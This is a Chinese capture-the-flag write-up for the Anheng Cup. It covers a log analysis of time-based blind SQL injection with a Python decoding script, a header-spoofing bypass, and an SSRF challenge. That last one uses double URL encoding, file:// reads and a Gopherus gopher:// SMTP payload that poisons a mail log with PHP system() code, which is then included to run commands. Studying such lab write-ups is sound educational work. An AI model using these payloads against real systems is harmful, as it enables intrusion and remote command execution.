0x00 前言
考试之前打一打安恒杯,算是给考试放松放松吧
0x01 简单的日志分析
题目给了一个file文件,是一个文件流量分析,其主要的点再后面的语句中
192.168.80.1 - - [01/Mar/2019:09:47:33 -0500] "GET /web/admin/sql.php?id=-1 union select 1,IF(MID((select f1ag from f1ag limit 0,1),1,1)=binary('e'),1,sleep(3)) HTTP/1.1" 200 4017 "-" "python-requests/2.21.0"
192.168.80.1 - - [01/Mar/2019:09:47:36 -0500] "GET /web/admin/sql.php?id=-1 union select 1,IF(MID((select f1ag from f1ag limit 0,1),1,1)=binary('f'),1,sleep(3)) HTTP/1.1" 200 4017 "-" "python-requests/2.21.0"
192.168.80.1 - - [01/Mar/2019:09:47:36 -0500] "GET /web/admin/sql.php?id=-1 union select 1,IF(MID((select f1ag from f1ag limit 0,1),1,1)=binary('g'),1,sleep(3)) HTTP/1.1" 200 4017 "-" "python-requests/2.21.0"
可以看见黑客进行了SQL时间盲注,如果不匹配则延时3秒,匹配则不产生延迟(吐槽一下:为了出题也真是够拼的,这这么低效率的方法。。。),因此基于此规则一个一个进行推断,因此写出进行爆破
import re
sec = re.compile(r'[[](.*?)[]]')
binarys = re.compile(r'binary[(](.*?)[)]') # 提取出注入的字符
mids = re.compile(r"IF[(](.*)[)]") # 提取出行列数
flag = ''
files = open('file','r')
first = True
while(files):
list1 = files.readline().strip('\n')
if list1 =='':break
# 计算出时间
if re.findall(binarys, list1) and len(re.findall(binarys, list1)[0].replace("'",""))==1 :
if first:
list2 = files.readline().strip('\n')
if list2 == '': break
if(len(re.findall(binarys, list2)[0].replace("'",""))!=1) : continue
try:
if first:
time1 = re.findall(sec, list1)[0].split(':')[3].split(' ')[0] # 提取秒数
time2 = re.findall(sec, list2)[0].split(':')[3].split(' ')[0]
chars = re.findall(mids, list1)[0].split(',')[2]
first = False
else:
time1 = time2
time2 = re.findall(sec, list1)[0].split(':')[3].split(' ')[0]
time1 = int(time1)
time2 = int(time2)
chars2 = re.findall(binarys, list1)[0].replace("'","") # 找出当前注入字符
try:
lines = re.findall(mids, list1)[0].split(',')[2] # 提取当前的行数
lines = int(lines)
except:
continue
if abs(time2-time1)<=1 or abs(time2 - time1)>59:
flag +=chars
print(str(lines)+':'+flag)
chars = chars2
except:
pass
files.close()
print(flag)
flag{50f1ea7cf1544106e3555c4cc2cf4087}
0x02 Web1
打开只有一个图片
用dirsearch进行扫面,发现admin.php
界面,进入之后提示只有本地ip才能访问,这里同时需要改host,加上xff即可
flag{h0st_And_iP_a1l_faKe}
0x02 web2
一个源码审计的题目,源码如下
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
与某入群题有着异曲同工之妙,但同时过滤了php的函数,因此使用二次url编码进行绕过,使用file协议读取flag.php
文件,这里注意要使用绝对路径,通过访问
http://101.71.29.5:10000/?x=http://172.18.0.2/?a=file:////etc/apache2/sites-enabled/000-default.conf
得到绝对路径为/var/www/html/
,则进行访问flag.php,构造url
http://101.71.29.5:10000/?x=file:///var/www/html/flag.%2570%2568%2570
要求我们访问/etc/hosts,继续访问
继续嗅探这个IP,同时发现了172.18.0.2这个ip上面有源码泄露,使用双编码绕过之后发现了php文件包含伪协议,源码如下
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
同时发现也可以使用file协议,尝试使用文件包含错误日志之后无果,读了读apache的配置就没有然后了。。。
后期在扫描端口的时候发现了25,smtp端口
因此百度一下,在一遍发送邮件日志包含文件漏洞找突击口,使用gophar协议,使用Gopherus工具创造payload
http://101.71.29.5:10012/?x=gopher://172.18.0.2:25/_MAIL%2520FROM:%253C%253F%2570%2568%2570%2520system%2528%2524_GET%255B%2527christa%25
使用php伪协议读取一下日志
http://101.71.29.5:10012/?x=http://172.18.0.2?a=%2570%2568%2570://filter/read=convert.base64-encode/resource=../../log/mail.log
使用文件包含进行flag读取
http://101.71.29.5:10012/?x=http%3a%2f%2f172.18.0.2%3fa%3d%2fvar%2flog%2fmail.log%2526c%3dcat%20%2fTh7s_isFlag
因此flag为
flag{dcbd1fa555331261ed1bfd21c3dd889f}